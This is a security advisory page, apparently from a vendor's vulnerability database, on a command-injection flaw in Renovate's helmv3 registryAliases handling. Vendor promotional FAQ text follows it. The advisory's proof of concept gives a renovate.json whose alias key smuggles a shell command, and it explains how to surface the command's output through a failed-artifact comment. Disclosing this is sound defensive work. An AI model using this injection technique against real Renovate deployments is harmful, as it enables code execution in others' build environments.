Summary
Renovate vulnerable to arbitrary command injection via helmv3 manager and registryAliases
Attackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands.
Details
Since #26848, registryAliases has become mergeable. This means that the helmv3 manager started honoring its value and uses a helm repo add <key> <parameters> command for each defined alias. See source code: https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80
The key was not quoted, leading to the ability to use variable references ($FOO) in it and have them printed by Renovate on the pull request, or even running any shell commands.
PoC
Inside a repository where Renovate runs, add a Helm chart with an outdated dependency, for example:
test-chart/Chart.yaml:
apiVersion: v2
name: redis
version: 1.0.0
dependencies:
- name: redis
version: 18.13.10
repository: oci://registry-1.docker.io/bitnamicharts
test-chart/Chart.lock:
dependencies:
- name: redis
repository: oci://registry-1.docker.io/bitnamicharts
version: 18.13.10
digest: sha256:11267bd32ea6c5c120ddebbb9f21e4a3c7700a961aa1a27ddb55df1fb8059a38
generated: "2024-02-16T13:31:20.807026334Z"
Then add the following renovate.json:
{
"$schema": "https://docs.renovatebot.com/renovate-schema.json",
"extends": [
"config:base"
],
"registryAliases": {
"foo/bar || sh -c 'ls /; exit 1' >&2": "registry.example.com/proxy"
}
}
Once Renovate runs on the repository, it will create a pull request, and add a comment titled "Artifact update problem" containing the following text:
File name: test-chart/Chart.lock
Command failed: helm repo add foo/bar || sh -c 'ls /; exit 1' >&2 registry.example.com/proxy --force-update
Error: "helm repo add" requires 2 arguments
Usage: helm repo add [NAME] [URL] [flags]
bin
boot
dev
etc
go
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
This shows that the ls command executed successfully, and we can even see its output.
Note that redirecting any output you want to see to stderr (>&2) and making sure the final command fails (exit 1) is required in this case, as Renovate only adds a comment if the command fails, and it contains only stderr (not stdout) output.
Impact
All Renovate versions from 37.158.0 up until 37.199.0 were affected. This vulnerability allows full access to Renovate's execution environment. The level of severity depends on how Renovate is deployed (Docker, Kubernetes, CI pipeline, ...) and whether Renovate is being offered to untrusted users/repositories.
Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.
GHSA-RQGV-292V-5QGR has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (37.199.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-RQGV-292V-5QGR? GHSA-RQGV-292V-5QGR is a medium-severity OS command injection vulnerability in renovate (npm), affecting versions >= 37.158.0, < 37.199.0. It is fixed in 37.199.0. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
- How severe is GHSA-RQGV-292V-5QGR? GHSA-RQGV-292V-5QGR has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of renovate are affected by GHSA-RQGV-292V-5QGR? renovate (npm) versions >= 37.158.0, < 37.199.0 is affected.
- Is there a fix for GHSA-RQGV-292V-5QGR? Yes. GHSA-RQGV-292V-5QGR is fixed in 37.199.0. Upgrade to this version or later.
- Is GHSA-RQGV-292V-5QGR exploitable, and should I be worried? Whether GHSA-RQGV-292V-5QGR is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-RQGV-292V-5QGR is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-RQGV-292V-5QGR? Upgrade
renovateto 37.199.0 or later.